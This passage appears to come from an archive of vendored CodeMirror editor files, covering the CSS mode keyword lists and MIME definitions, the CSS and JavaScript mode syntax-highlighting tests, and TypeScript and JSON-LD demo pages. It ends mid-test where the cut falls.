    "nav-left", "nav-right", "nav-up", "object-fit", "object-position",
    "opacity", "order", "orphans", "outline",
    "outline-color", "outline-offset", "outline-style", "outline-width",
    "overflow", "overflow-style", "overflow-wrap", "overflow-x", "overflow-y",
    "padding", "padding-bottom", "padding-left", "padding-right", "padding-top",
    "page", "page-break-after", "page-break-before", "page-break-inside",
    "page-policy", "pause", "pause-after", "pause-before", "perspective",
    "perspective-origin", "pitch", "pitch-range", "play-during", "position",
    "presentation-level", "punctuation-trim", "quotes", "region-break-after",
    "region-break-before", "region-break-inside", "region-fragment",
    "rendering-intent", "resize", "rest", "rest-after", "rest-before", "richness",
    "right", "rotation", "rotation-point", "ruby-align", "ruby-overhang",
    "ruby-position", "ruby-span", "shape-image-threshold", "shape-inside", "shape-margin",
    "shape-outside", "size", "speak", "speak-as", "speak-header",
    "speak-numeral", "speak-punctuation", "speech-rate", "stress", "string-set",
    "tab-size", "table-layout", "target", "target-name", "target-new",
    "target-position", "text-align", "text-align-last", "text-decoration",
    "text-decoration-color", "text-decoration-line", "text-decoration-skip",
    "text-decoration-style", "text-emphasis", "text-emphasis-color",
    "text-emphasis-position", "text-emphasis-style", "text-height",
    "text-indent", "text-justify", "text-outline", "text-overflow", "text-shadow",
    "text-size-adjust", "text-space-collapse", "text-transform", "text-underline-position",
    "text-wrap", "top", "transform", "transform-origin", "transform-style",
    "transition", "transition-delay", "transition-duration",
    "transition-property", "transition-timing-function", "unicode-bidi",
    "vertical-align", "visibility", "voice-balance", "voice-duration",
    "voice-family", "voice-pitch", "voice-range", "voice-rate", "voice-stress",
    "voice-volume", "volume", "white-space", "widows", "width", "word-break",
    "word-spacing", "word-wrap", "z-index",
    // SVG-specific
    "clip-path", "clip-rule", "mask", "enable-background", "filter", "flood-color",
    "flood-opacity", "lighting-color", "stop-color", "stop-opacity", "pointer-events",
    "color-interpolation", "color-interpolation-filters",
    "color-rendering", "fill", "fill-opacity", "fill-rule", "image-rendering",
    "marker", "marker-end", "marker-mid", "marker-start", "shape-rendering", "stroke",
    "stroke-dasharray", "stroke-dashoffset", "stroke-linecap", "stroke-linejoin",
    "stroke-miterlimit", "stroke-opacity", "stroke-width", "text-rendering",
    "baseline-shift", "dominant-baseline", "glyph-orientation-horizontal",
    "glyph-orientation-vertical", "text-anchor", "writing-mode"
  ], propertyKeywords = keySet(propertyKeywords_);

  var nonStandardPropertyKeywords_ = [
    "scrollbar-arrow-color", "scrollbar-base-color", "scrollbar-dark-shadow-color",
    "scrollbar-face-color", "scrollbar-highlight-color", "scrollbar-shadow-color",
    "scrollbar-3d-light-color", "scrollbar-track-color", "shape-inside",
    "searchfield-cancel-button", "searchfield-decoration", "searchfield-results-button",
    "searchfield-results-decoration", "zoom"
  ], nonStandardPropertyKeywords = keySet(nonStandardPropertyKeywords_);

  var fontProperties_ = [
    "font-family", "src", "unicode-range", "font-variant", "font-feature-settings",
    "font-stretch", "font-weight", "font-style"
  ], fontProperties = keySet(fontProperties_);

  var counterDescriptors_ = [
    "additive-symbols", "fallback", "negative", "pad", "prefix", "range",
    "speak-as", "suffix", "symbols", "system"
  ], counterDescriptors = keySet(counterDescriptors_);

  var colorKeywords_ = [
    "aliceblue", "antiquewhite", "aqua", "aquamarine", "azure", "beige",
    "bisque", "black", "blanchedalmond", "blue", "blueviolet", "brown",
    "burlywood", "cadetblue", "chartreuse", "chocolate", "coral", "cornflowerblue",
    "cornsilk", "crimson", "cyan", "darkblue", "darkcyan", "darkgoldenrod",
    "darkgray", "darkgreen", "darkkhaki", "darkmagenta", "darkolivegreen",
    "darkorange", "darkorchid", "darkred", "darksalmon", "darkseagreen",
    "darkslateblue", "darkslategray", "darkturquoise", "darkviolet",
    "deeppink", "deepskyblue", "dimgray", "dodgerblue", "firebrick",
    "floralwhite", "forestgreen", "fuchsia", "gainsboro", "ghostwhite",
    "gold", "goldenrod", "gray", "grey", "green", "greenyellow", "honeydew",
    "hotpink", "indianred", "indigo", "ivory", "khaki", "lavender",
    "lavenderblush", "lawngreen", "lemonchiffon", "lightblue", "lightcoral",
    "lightcyan", "lightgoldenrodyellow", "lightgray", "lightgreen", "lightpink",
    "lightsalmon", "lightseagreen", "lightskyblue", "lightslategray",
    "lightsteelblue", "lightyellow", "lime", "limegreen", "linen", "magenta",
    "maroon", "mediumaquamarine", "mediumblue", "mediumorchid", "mediumpurple",
    "mediumseagreen", "mediumslateblue", "mediumspringgreen", "mediumturquoise",
    "mediumvioletred", "midnightblue", "mintcream", "mistyrose", "moccasin",
    "navajowhite", "navy", "oldlace", "olive", "olivedrab", "orange", "orangered",
    "orchid", "palegoldenrod", "palegreen", "paleturquoise", "palevioletred",
    "papayawhip", "peachpuff", "peru", "pink", "plum", "powderblue",
    "purple", "rebeccapurple", "red", "rosybrown", "royalblue", "saddlebrown",
    "salmon", "sandybrown", "seagreen", "seashell", "sienna", "silver", "skyblue",
    "slateblue", "slategray", "snow", "springgreen", "steelblue", "tan",
    "teal", "thistle", "tomato", "turquoise", "violet", "wheat", "white",
    "whitesmoke", "yellow", "yellowgreen"
  ], colorKeywords = keySet(colorKeywords_);

  var valueKeywords_ = [
    "above", "absolute", "activeborder", "additive", "activecaption", "afar",
    "after-white-space", "ahead", "alias", "all", "all-scroll", "alphabetic", "alternate",
    "always", "amharic", "amharic-abegede", "antialiased", "appworkspace",
    "arabic-indic", "armenian", "asterisks", "attr", "auto", "avoid", "avoid-column", "avoid-page",
    "avoid-region", "background", "backwards", "baseline", "below", "bidi-override", "binary",
    "bengali", "blink", "block", "block-axis", "bold", "bolder", "border", "border-box",
    "both", "bottom", "break", "break-all", "break-word", "bullets", "button", "button-bevel",
    "buttonface", "buttonhighlight", "buttonshadow", "buttontext", "calc", "cambodian",
    "capitalize", "caps-lock-indicator", "caption", "captiontext", "caret",
    "cell", "center", "checkbox", "circle", "cjk-decimal", "cjk-earthly-branch",
    "cjk-heavenly-stem", "cjk-ideographic", "clear", "clip", "close-quote",
    "col-resize", "collapse", "column", "column-reverse", "compact", "condensed", "contain", "content",
    "content-box", "context-menu", "continuous", "copy", "counter", "counters", "cover", "crop",
    "cross", "crosshair", "currentcolor", "cursive", "cyclic", "dashed", "decimal",
    "decimal-leading-zero", "default", "default-button", "destination-atop",
    "destination-in", "destination-out", "destination-over", "devanagari",
    "disc", "discard", "disclosure-closed", "disclosure-open", "document",
    "dot-dash", "dot-dot-dash",
    "dotted", "double", "down", "e-resize", "ease", "ease-in", "ease-in-out", "ease-out",
    "element", "ellipse", "ellipsis", "embed", "end", "ethiopic", "ethiopic-abegede",
    "ethiopic-abegede-am-et", "ethiopic-abegede-gez", "ethiopic-abegede-ti-er",
    "ethiopic-abegede-ti-et", "ethiopic-halehame-aa-er",
    "ethiopic-halehame-aa-et", "ethiopic-halehame-am-et",
    "ethiopic-halehame-gez", "ethiopic-halehame-om-et",
    "ethiopic-halehame-sid-et", "ethiopic-halehame-so-et",
    "ethiopic-halehame-ti-er", "ethiopic-halehame-ti-et", "ethiopic-halehame-tig",
    "ethiopic-numeric", "ew-resize", "expanded", "extends", "extra-condensed",
    "extra-expanded", "fantasy", "fast", "fill", "fixed", "flat", "flex", "flex-end", "flex-start", "footnotes",
    "forwards", "from", "geometricPrecision", "georgian", "graytext", "groove",
    "gujarati", "gurmukhi", "hand", "hangul", "hangul-consonant", "hebrew",
    "help", "hidden", "hide", "higher", "highlight", "highlighttext",
    "hiragana", "hiragana-iroha", "horizontal", "hsl", "hsla", "icon", "ignore",
    "inactiveborder", "inactivecaption", "inactivecaptiontext", "infinite",
    "infobackground", "infotext", "inherit", "initial", "inline", "inline-axis",
    "inline-block", "inline-flex", "inline-table", "inset", "inside", "intrinsic", "invert",
    "italic", "japanese-formal", "japanese-informal", "justify", "kannada",
    "katakana", "katakana-iroha", "keep-all", "khmer",
    "korean-hangul-formal", "korean-hanja-formal", "korean-hanja-informal",
    "landscape", "lao", "large", "larger", "left", "level", "lighter",
    "line-through", "linear", "linear-gradient", "lines", "list-item", "listbox", "listitem",
    "local", "logical", "loud", "lower", "lower-alpha", "lower-armenian",
    "lower-greek", "lower-hexadecimal", "lower-latin", "lower-norwegian",
    "lower-roman", "lowercase", "ltr", "malayalam", "match", "matrix", "matrix3d",
    "media-controls-background", "media-current-time-display",
    "media-fullscreen-button", "media-mute-button", "media-play-button",
    "media-return-to-realtime-button", "media-rewind-button",
    "media-seek-back-button", "media-seek-forward-button", "media-slider",
    "media-sliderthumb", "media-time-remaining-display", "media-volume-slider",
    "media-volume-slider-container", "media-volume-sliderthumb", "medium",
    "menu", "menulist", "menulist-button", "menulist-text",
    "menulist-textfield", "menutext", "message-box", "middle", "min-intrinsic",
    "mix", "mongolian", "monospace", "move", "multiple", "myanmar", "n-resize",
    "narrower", "ne-resize", "nesw-resize", "no-close-quote", "no-drop",
    "no-open-quote", "no-repeat", "none", "normal", "not-allowed", "nowrap",
    "ns-resize", "numbers", "numeric", "nw-resize", "nwse-resize", "oblique", "octal", "open-quote",
    "optimizeLegibility", "optimizeSpeed", "oriya", "oromo", "outset",
    "outside", "outside-shape", "overlay", "overline", "padding", "padding-box",
    "painted", "page", "paused", "persian", "perspective", "plus-darker", "plus-lighter",
    "pointer", "polygon", "portrait", "pre", "pre-line", "pre-wrap", "preserve-3d",
    "progress", "push-button", "radial-gradient", "radio", "read-only",
    "read-write", "read-write-plaintext-only", "rectangle", "region",
    "relative", "repeat", "repeating-linear-gradient",
    "repeating-radial-gradient", "repeat-x", "repeat-y", "reset", "reverse",
    "rgb", "rgba", "ridge", "right", "rotate", "rotate3d", "rotateX", "rotateY",
    "rotateZ", "round", "row", "row-resize", "row-reverse", "rtl", "run-in", "running",
    "s-resize", "sans-serif", "scale", "scale3d", "scaleX", "scaleY", "scaleZ",
    "scroll", "scrollbar", "se-resize", "searchfield",
    "searchfield-cancel-button", "searchfield-decoration",
    "searchfield-results-button", "searchfield-results-decoration",
    "semi-condensed", "semi-expanded", "separate", "serif", "show", "sidama",
    "simp-chinese-formal", "simp-chinese-informal", "single",
    "skew", "skewX", "skewY", "skip-white-space", "slide", "slider-horizontal",
    "slider-vertical", "sliderthumb-horizontal", "sliderthumb-vertical", "slow",
    "small", "small-caps", "small-caption", "smaller", "solid", "somali",
    "source-atop", "source-in", "source-out", "source-over", "space", "space-around", "space-between", "spell-out", "square",
    "square-button", "start", "static", "status-bar", "stretch", "stroke", "sub",
    "subpixel-antialiased", "super", "sw-resize", "symbolic", "symbols", "table",
    "table-caption", "table-cell", "table-column", "table-column-group",
    "table-footer-group", "table-header-group", "table-row", "table-row-group",
    "tamil",
    "telugu", "text", "text-bottom", "text-top", "textarea", "textfield", "thai",
    "thick", "thin", "threeddarkshadow", "threedface", "threedhighlight",
    "threedlightshadow", "threedshadow", "tibetan", "tigre", "tigrinya-er",
    "tigrinya-er-abegede", "tigrinya-et", "tigrinya-et-abegede", "to", "top",
    "trad-chinese-formal", "trad-chinese-informal",
    "translate", "translate3d", "translateX", "translateY", "translateZ",
    "transparent", "ultra-condensed", "ultra-expanded", "underline", "up",
    "upper-alpha", "upper-armenian", "upper-greek", "upper-hexadecimal",
    "upper-latin", "upper-norwegian", "upper-roman", "uppercase", "urdu", "url",
    "var", "vertical", "vertical-text", "visible", "visibleFill", "visiblePainted",
    "visibleStroke", "visual", "w-resize", "wait", "wave", "wider",
    "window", "windowframe", "windowtext", "words", "wrap", "wrap-reverse", "x-large", "x-small", "xor",
    "xx-large", "xx-small"
  ], valueKeywords = keySet(valueKeywords_);

  var allWords = documentTypes_.concat(mediaTypes_).concat(mediaFeatures_).concat(mediaValueKeywords_)
    .concat(propertyKeywords_).concat(nonStandardPropertyKeywords_).concat(colorKeywords_)
    .concat(valueKeywords_);
  CodeMirror.registerHelper("hintWords", "css", allWords);

  function tokenCComment(stream, state) {
    var maybeEnd = false, ch;
    while ((ch = stream.next()) != null) {
      if (maybeEnd && ch == "/") {
        state.tokenize = null;
        break;
      }
      maybeEnd = (ch == "*");
    }
    return ["comment", "comment"];
  }

  CodeMirror.defineMIME("text/css", {
    documentTypes: documentTypes,
    mediaTypes: mediaTypes,
    mediaFeatures: mediaFeatures,
    mediaValueKeywords: mediaValueKeywords,
    propertyKeywords: propertyKeywords,
    nonStandardPropertyKeywords: nonStandardPropertyKeywords,
    fontProperties: fontProperties,
    counterDescriptors: counterDescriptors,
    colorKeywords: colorKeywords,
    valueKeywords: valueKeywords,
    tokenHooks: {
      "/": function(stream, state) {
        if (!stream.eat("*")) return false;
        state.tokenize = tokenCComment;
        return tokenCComment(stream, state);
      }
    },
    name: "css"
  });

  CodeMirror.defineMIME("text/x-scss", {
    mediaTypes: mediaTypes,
    mediaFeatures: mediaFeatures,
    mediaValueKeywords: mediaValueKeywords,
    propertyKeywords: propertyKeywords,
    nonStandardPropertyKeywords: nonStandardPropertyKeywords,
    colorKeywords: colorKeywords,
    valueKeywords: valueKeywords,
    fontProperties: fontProperties,
    allowNested: true,
    tokenHooks: {
      "/": function(stream, state) {
        if (stream.eat("/")) {
          stream.skipToEnd();
          return ["comment", "comment"];
        } else if (stream.eat("*")) {
          state.tokenize = tokenCComment;
          return tokenCComment(stream, state);
        } else {
          return ["operator", "operator"];
        }
      },
      ":": function(stream) {
        if (stream.match(/\s*\{/))
          return [null, "{"];
        return false;
      },
      "$": function(stream) {
        stream.match(/^[\w-]+/);
        if (stream.match(/^\s*:/, false))
          return ["variable-2", "variable-definition"];
        return ["variable-2", "variable"];
      },
      "#": function(stream) {
        if (!stream.eat("{")) return false;
        return [null, "interpolation"];
      }
    },
    name: "css",
    helperType: "scss"
  });

  CodeMirror.defineMIME("text/x-less", {
    mediaTypes: mediaTypes,
    mediaFeatures: mediaFeatures,
    mediaValueKeywords: mediaValueKeywords,
    propertyKeywords: propertyKeywords,
    nonStandardPropertyKeywords: nonStandardPropertyKeywords,
    colorKeywords: colorKeywords,
    valueKeywords: valueKeywords,
    fontProperties: fontProperties,
    allowNested: true,
    tokenHooks: {
      "/": function(stream, state) {
        if (stream.eat("/")) {
          stream.skipToEnd();
          return ["comment", "comment"];
        } else if (stream.eat("*")) {
          state.tokenize = tokenCComment;
          return tokenCComment(stream, state);
        } else {
          return ["operator", "operator"];
        }
      },
      "@": function(stream) {
        if (stream.eat("{")) return [null, "interpolation"];
        if (stream.match(/^(charset|document|font-face|import|(-(moz|ms|o|webkit)-)?keyframes|media|namespace|page|supports)\b/, false)) return false;
        stream.eatWhile(/[\w\\\-]/);
        if (stream.match(/^\s*:/, false))
          return ["variable-2", "variable-definition"];
        return ["variable-2", "variable"];
      },
      "&": function() {
        return ["atom", "atom"];
      }
    },
    name: "css",
    helperType: "less"
  });

  CodeMirror.defineMIME("text/x-gss", {
    documentTypes: documentTypes,
    mediaTypes: mediaTypes,
    mediaFeatures: mediaFeatures,
    propertyKeywords: propertyKeywords,
    nonStandardPropertyKeywords: nonStandardPropertyKeywords,
    fontProperties: fontProperties,
    counterDescriptors: counterDescriptors,
    colorKeywords: colorKeywords,
    valueKeywords: valueKeywords,
    supportsAtComponent: true,
    tokenHooks: {
      "/": function(stream, state) {
        if (!stream.eat("*")) return false;
        state.tokenize = tokenCComment;
        return tokenCComment(stream, state);
      }
    },
    name: "css",
    helperType: "gss"
  });

});
PK     0w\/7|    A  customizer/framework/assets/js/vendor/codemirror/mode/css/test.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function() {
  var mode = CodeMirror.getMode({indentUnit: 2}, "css");
  function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1)); }

  // Error, because "foobarhello" is neither a known type or property, but
  // property was expected (after "and"), and it should be in parentheses.
  MT("atMediaUnknownType",
     "[def @media] [attribute screen] [keyword and] [error foobarhello] { }");

  // Soft error, because "foobarhello" is not a known property or type.
  MT("atMediaUnknownProperty",
     "[def @media] [attribute screen] [keyword and] ([error foobarhello]) { }");

  // Make sure nesting works with media queries
  MT("atMediaMaxWidthNested",
     "[def @media] [attribute screen] [keyword and] ([property max-width]: [number 25px]) { [tag foo] { } }");

  MT("atMediaFeatureValueKeyword",
     "[def @media] ([property orientation]: [keyword landscape]) { }");

  MT("atMediaUnknownFeatureValueKeyword",
     "[def @media] ([property orientation]: [error upsidedown]) { }");

  MT("tagSelector",
     "[tag foo] { }");

  MT("classSelector",
     "[qualifier .foo-bar_hello] { }");

  MT("idSelector",
     "[builtin #foo] { [error #foo] }");

  MT("tagSelectorUnclosed",
     "[tag foo] { [property margin]: [number 0] } [tag bar] { }");

  MT("tagStringNoQuotes",
     "[tag foo] { [property font-family]: [variable hello] [variable world]; }");

  MT("tagStringDouble",
     "[tag foo] { [property font-family]: [string \"hello world\"]; }");

  MT("tagStringSingle",
     "[tag foo] { [property font-family]: [string 'hello world']; }");

  MT("tagColorKeyword",
     "[tag foo] {",
     "  [property color]: [keyword black];",
     "  [property color]: [keyword navy];",
     "  [property color]: [keyword yellow];",
     "}");

  MT("tagColorHex3",
     "[tag foo] { [property background]: [atom #fff]; }");

  MT("tagColorHex4",
     "[tag foo] { [property background]: [atom #ffff]; }");

  MT("tagColorHex6",
     "[tag foo] { [property background]: [atom #ffffff]; }");

  MT("tagColorHex8",
     "[tag foo] { [property background]: [atom #ffffffff]; }");

  MT("tagColorHex5Invalid",
     "[tag foo] { [property background]: [atom&error #fffff]; }");

  MT("tagColorHexInvalid",
     "[tag foo] { [property background]: [atom&error #ffg]; }");

  MT("tagNegativeNumber",
     "[tag foo] { [property margin]: [number -5px]; }");

  MT("tagPositiveNumber",
     "[tag foo] { [property padding]: [number 5px]; }");

  MT("tagVendor",
     "[tag foo] { [meta -foo-][property box-sizing]: [meta -foo-][atom border-box]; }");

  MT("tagBogusProperty",
     "[tag foo] { [property&error barhelloworld]: [number 0]; }");

  MT("tagTwoProperties",
     "[tag foo] { [property margin]: [number 0]; [property padding]: [number 0]; }");

  MT("tagTwoPropertiesURL",
     "[tag foo] { [property background]: [atom url]([string //example.com/foo.png]); [property padding]: [number 0]; }");

  MT("indent_tagSelector",
     "[tag strong], [tag em] {",
     "  [property background]: [atom rgba](",
     "    [number 255], [number 255], [number 0], [number .2]",
     "  );",
     "}");

  MT("indent_atMedia",
     "[def @media] {",
     "  [tag foo] {",
     "    [property color]:",
     "      [keyword yellow];",
     "  }",
     "}");

  MT("indent_comma",
     "[tag foo] {",
     "  [property font-family]: [variable verdana],",
     "    [atom sans-serif];",
     "}");

  MT("indent_parentheses",
     "[tag foo]:[variable-3 before] {",
     "  [property background]: [atom url](",
     "[string     blahblah]",
     "[string     etc]",
     "[string   ]) [keyword !important];",
     "}");

  MT("font_face",
     "[def @font-face] {",
     "  [property font-family]: [string 'myfont'];",
     "  [error nonsense]: [string 'abc'];",
     "  [property src]: [atom url]([string http://blah]),",
     "    [atom url]([string http://foo]);",
     "}");

  MT("empty_url",
     "[def @import] [atom url]() [attribute screen];");

  MT("parens",
     "[qualifier .foo] {",
     "  [property background-image]: [variable fade]([atom #000], [number 20%]);",
     "  [property border-image]: [atom linear-gradient](",
     "    [atom to] [atom bottom],",
     "    [variable fade]([atom #000], [number 20%]) [number 0%],",
     "    [variable fade]([atom #000], [number 20%]) [number 100%]",
     "  );",
     "}");

  MT("css_variable",
     ":[variable-3 root] {",
     "  [variable-2 --main-color]: [atom #06c];",
     "}",
     "[tag h1][builtin #foo] {",
     "  [property color]: [atom var]([variable-2 --main-color]);",
     "}");

  MT("supports",
     "[def @supports] ([keyword not] (([property text-align-last]: [atom justify]) [keyword or] ([meta -moz-][property text-align-last]: [atom justify])) {",
     "  [property text-align-last]: [atom justify];",
     "}");

   MT("document",
      "[def @document] [tag url]([string http://blah]),",
      "  [tag url-prefix]([string https://]),",
      "  [tag domain]([string blah.com]),",
      "  [tag regexp]([string \".*blah.+\"]) {",
      "    [builtin #id] {",
      "      [property background-color]: [keyword white];",
      "    }",
      "    [tag foo] {",
      "      [property font-family]: [variable Verdana], [atom sans-serif];",
      "    }",
      "}");

   MT("document_url",
      "[def @document] [tag url]([string http://blah]) { [qualifier .class] { } }");

   MT("document_urlPrefix",
      "[def @document] [tag url-prefix]([string https://]) { [builtin #id] { } }");

   MT("document_domain",
      "[def @document] [tag domain]([string blah.com]) { [tag foo] { } }");

   MT("document_regexp",
      "[def @document] [tag regexp]([string \".*blah.+\"]) { [builtin #id] { } }");

   MT("counter-style",
      "[def @counter-style] [variable binary] {",
      "  [property system]: [atom numeric];",
      "  [property symbols]: [number 0] [number 1];",
      "  [property suffix]: [string \".\"];",
      "  [property range]: [atom infinite];",
      "  [property speak-as]: [atom numeric];",
      "}");

   MT("counter-style-additive-symbols",
      "[def @counter-style] [variable simple-roman] {",
      "  [property system]: [atom additive];",
      "  [property additive-symbols]: [number 10] [variable X], [number 5] [variable V], [number 1] [variable I];",
      "  [property range]: [number 1] [number 49];",
      "}");

   MT("counter-style-use",
      "[tag ol][qualifier .roman] { [property list-style]: [variable simple-roman]; }");

   MT("counter-style-symbols",
      "[tag ol] { [property list-style]: [atom symbols]([atom cyclic] [string \"*\"] [string \"\\2020\"] [string \"\\2021\"] [string \"\\A7\"]); }");
})();
PK     0w\e    P  customizer/framework/assets/js/vendor/codemirror/mode/javascript/typescript.htmlnu [        <!doctype html>

<title>CodeMirror: TypeScript mode</title>
<meta charset="utf-8"/>
<link rel=stylesheet href="../../doc/docs.css">

<link rel="stylesheet" href="../../lib/codemirror.css">
<script src="../../lib/codemirror.js"></script>
<script src="javascript.js"></script>
<style type="text/css">.CodeMirror {border-top: 1px solid black; border-bottom: 1px solid black;}</style>
<div id=nav>
  <a href="http://codemirror.net"><h1>CodeMirror</h1><img id=logo src="../../doc/logo.png"></a>

  <ul>
    <li><a href="../../index.html">Home</a>
    <li><a href="../../doc/manual.html">Manual</a>
    <li><a href="https://github.com/codemirror/codemirror">Code</a>
  </ul>
  <ul>
    <li><a href="../index.html">Language modes</a>
    <li><a class=active href="#">TypeScript</a>
  </ul>
</div>

<article>
<h2>TypeScript mode</h2>


<div><textarea id="code" name="code">
class Greeter {
	greeting: string;
	constructor (message: string) {
		this.greeting = message;
	}
	greet() {
		return "Hello, " + this.greeting;
	}
}   

var greeter = new Greeter("world");

var button = document.createElement('button')
button.innerText = "Say Hello"
button.onclick = function() {
	alert(greeter.greet())
}

document.body.appendChild(button)

</textarea></div>

    <script>
      var editor = CodeMirror.fromTextArea(document.getElementById("code"), {
        lineNumbers: true,
        matchBrackets: true,
        mode: "text/typescript"
      });
    </script>

    <p>This is a specialization of the <a href="index.html">JavaScript mode</a>.</p>
  </article>
PK     0w\0f  f  M  customizer/framework/assets/js/vendor/codemirror/mode/javascript/json-ld.htmlnu [        <!doctype html>

<title>CodeMirror: JSON-LD mode</title>
<meta charset="utf-8"/>
<link rel=stylesheet href="../../doc/docs.css">

<link rel="stylesheet" href="../../lib/codemirror.css">
<script src="../../lib/codemirror.js"></script>
<script src="../../addon/edit/matchbrackets.js"></script>
<script src="../../addon/comment/continuecomment.js"></script>
<script src="../../addon/comment/comment.js"></script>
<script src="javascript.js"></script>
<style type="text/css">.CodeMirror {border-top: 1px solid black; border-bottom: 1px solid black;}</style>
<div id="nav">
  <a href="http://codemirror.net"><h1>CodeMirror</h1><img id=logo src="../../doc/logo.png"/></a>

  <ul>
    <li><a href="../../index.html">Home</a>
    <li><a href="../../doc/manual.html">Manual</a>
    <li><a href="https://github.com/codemirror/codemirror">Code</a>
  </ul>
  <ul>
    <li><a href="../index.html">Language modes</a>
    <li><a class=active href="#">JSON-LD</a>
  </ul>
</div>

<article>
<h2>JSON-LD mode</h2>


<div><textarea id="code" name="code">
{
  "@context": {
    "name": "http://schema.org/name",
    "description": "http://schema.org/description",
    "image": {
      "@id": "http://schema.org/image",
      "@type": "@id"
    },
    "geo": "http://schema.org/geo",
    "latitude": {
      "@id": "http://schema.org/latitude",
      "@type": "xsd:float"
    },
    "longitude": {
      "@id": "http://schema.org/longitude",
      "@type": "xsd:float"
    },
    "xsd": "http://www.w3.org/2001/XMLSchema#"
  },
  "name": "The Empire State Building",
  "description": "The Empire State Building is a 102-story landmark in New York City.",
  "image": "http://www.civil.usherbrooke.ca/cours/gci215a/empire-state-building.jpg",
  "geo": {
    "latitude": "40.75",
    "longitude": "73.98"
  }
}
</textarea></div>

    <script>
      var editor = CodeMirror.fromTextArea(document.getElementById("code"), {
        matchBrackets: true,
        autoCloseBrackets: true,
        mode: "application/ld+json",
        lineWrapping: true
      });
    </script>
    
    <p>This is a specialization of the <a href="index.html">JavaScript mode</a>.</p>
  </article>
PK     0w\k  k  H  customizer/framework/assets/js/vendor/codemirror/mode/javascript/test.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function() {
  var mode = CodeMirror.getMode({indentUnit: 2}, "javascript");
  function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1)); }

  MT("locals",
     "[keyword function] [def foo]([def a], [def b]) { [keyword var] [def c] [operator =] [number 10]; [keyword return] [variable-2 a] [operator +] [variable-2 c] [operator +] [variable d]; }");

  MT("comma-and-binop",
     "[keyword function](){ [keyword var] [def x] [operator =] [number 1] [operator +] [number 2], [def y]; }");

  MT("destructuring",
     "([keyword function]([def a], [[[def b], [def c] ]]) {",
     "  [keyword let] {[def d], [property foo]: [def c][operator =][number 10], [def x]} [operator =] [variable foo]([variable-2 a]);",
     "  [[[variable-2 c], [variable y] ]] [operator =] [variable-2 c];",
     "})();");

  MT("class_body",
     "[keyword class] [def Foo] {",
     "  [property constructor]() {}",
     "  [property sayName]() {",
     "    [keyword return] [string-2 `foo${][variable foo][string-2 }oo`];",
     "  }",
     "}");

  MT("class",
     "[keyword class] [def Point] [keyword extends] [variable SuperThing] {",
     "  [property get] [property prop]() { [keyword return] [number 24]; }",
     "  [property constructor]([def x], [def y]) {",
     "    [keyword super]([string 'something']);",
     "    [keyword this].[property x] [operator =] [variable-2 x];",
     "  }",
     "}");

  MT("import",
     "[keyword function] [def foo]() {",
     "  [keyword import] [def $] [keyword from] [string 'jquery'];",
     "  [keyword import] { [def encrypt], [def decrypt] } [keyword from] [string 'crypto'];",
     "}");

  MT("const",
     "[keyword function] [def f]() {",
     "  [keyword const] [[ [def a], [def b] ]] [operator =] [[ [number 1], [number 2] ]];",
     "}");

  MT("for/of",
     "[keyword for]([keyword let] [def of] [keyword of] [variable something]) {}");

  MT("generator",
     "[keyword function*] [def repeat]([def n]) {",
     "  [keyword for]([keyword var] [def i] [operator =] [number 0]; [variable-2 i] [operator <] [variable-2 n]; [operator ++][variable-2 i])",
     "    [keyword yield] [variable-2 i];",
     "}");

  MT("quotedStringAddition",
     "[keyword let] [def f] [operator =] [variable a] [operator +] [string 'fatarrow'] [operator +] [variable c];");

  MT("quotedFatArrow",
     "[keyword let] [def f] [operator =] [variable a] [operator +] [string '=>'] [operator +] [variable c];");

  MT("fatArrow",
     "[variable array].[property filter]([def a] [operator =>] [variable-2 a] [operator +] [number 1]);",
     "[variable a];", // No longer in scope
     "[keyword let] [def f] [operator =] ([[ [def a], [def b] ]], [def c]) [operator =>] [variable-2 a] [operator +] [variable-2 c];",
     "[variable c];");

  MT("spread",
     "[keyword function] [def f]([def a], [meta ...][def b]) {",
     "  [variable something]([variable-2 a], [meta ...][variable-2 b]);",
     "}");

  MT("comprehension",
     "[keyword function] [def f]() {",
     "  [[([variable x] [operator +] [number 1]) [keyword for] ([keyword var] [def x] [keyword in] [variable y]) [keyword if] [variable pred]([variable-2 x]) ]];",
     "  ([variable u] [keyword for] ([keyword var] [def u] [keyword of] [variable generateValues]()) [keyword if] ([variable-2 u].[property color] [operator ===] [string 'blue']));",
     "}");

  MT("quasi",
     "[variable re][string-2 `fofdlakj${][variable x] [operator +] ([variable re][string-2 `foo`]) [operator +] [number 1][string-2 }fdsa`] [operator +] [number 2]");

  MT("quasi_no_function",
     "[variable x] [operator =] [string-2 `fofdlakj${][variable x] [operator +] [string-2 `foo`] [operator +] [number 1][string-2 }fdsa`] [operator +] [number 2]");

  MT("indent_statement",
     "[keyword var] [def x] [operator =] [number 10]",
     "[variable x] [operator +=] [variable y] [operator +]",
     "  [atom Infinity]",
     "[keyword debugger];");

  MT("indent_if",
     "[keyword if] ([number 1])",
     "  [keyword break];",
     "[keyword else] [keyword if] ([number 2])",
     "  [keyword continue];",
     "[keyword else]",
     "  [number 10];",
     "[keyword if] ([number 1]) {",
     "  [keyword break];",
     "} [keyword else] [keyword if] ([number 2]) {",
     "  [keyword continue];",
     "} [keyword else] {",
     "  [number 10];",
     "}");

  MT("indent_for",
     "[keyword for] ([keyword var] [def i] [operator =] [number 0];",
     "     [variable i] [operator <] [number 100];",
     "     [variable i][operator ++])",
     "  [variable doSomething]([variable i]);",
     "[keyword debugger];");

  MT("indent_c_style",
     "[keyword function] [def foo]()",
     "{",
     "  [keyword debugger];",
     "}");

  MT("indent_else",
     "[keyword for] (;;)",
     "  [keyword if] ([variable foo])",
     "    [keyword if] ([variable bar])",
     "      [number 1];",
     "    [keyword else]",
     "      [number 2];",
     "  [keyword else]",
     "    [number 3];");

  MT("indent_funarg",
     "[variable foo]([number 10000],",
     "    [keyword function]([def a]) {",
     "  [keyword debugger];",
     "};");

  MT("indent_below_if",
     "[keyword for] (;;)",
     "  [keyword if] ([variable foo])",
     "    [number 1];",
     "[number 2];");

  MT("multilinestring",
     "[keyword var] [def x] [operator =] [string 'foo\\]",
     "[string bar'];");

  MT("scary_regexp",
     "[string-2 /foo[[/]]bar/];");

  MT("indent_strange_array",
     "[keyword var] [def x] [operator =] [[",
     "  [number 1],,",
     "  [number 2],",
     "]];",
     "[number 10];");

  MT("param_default",
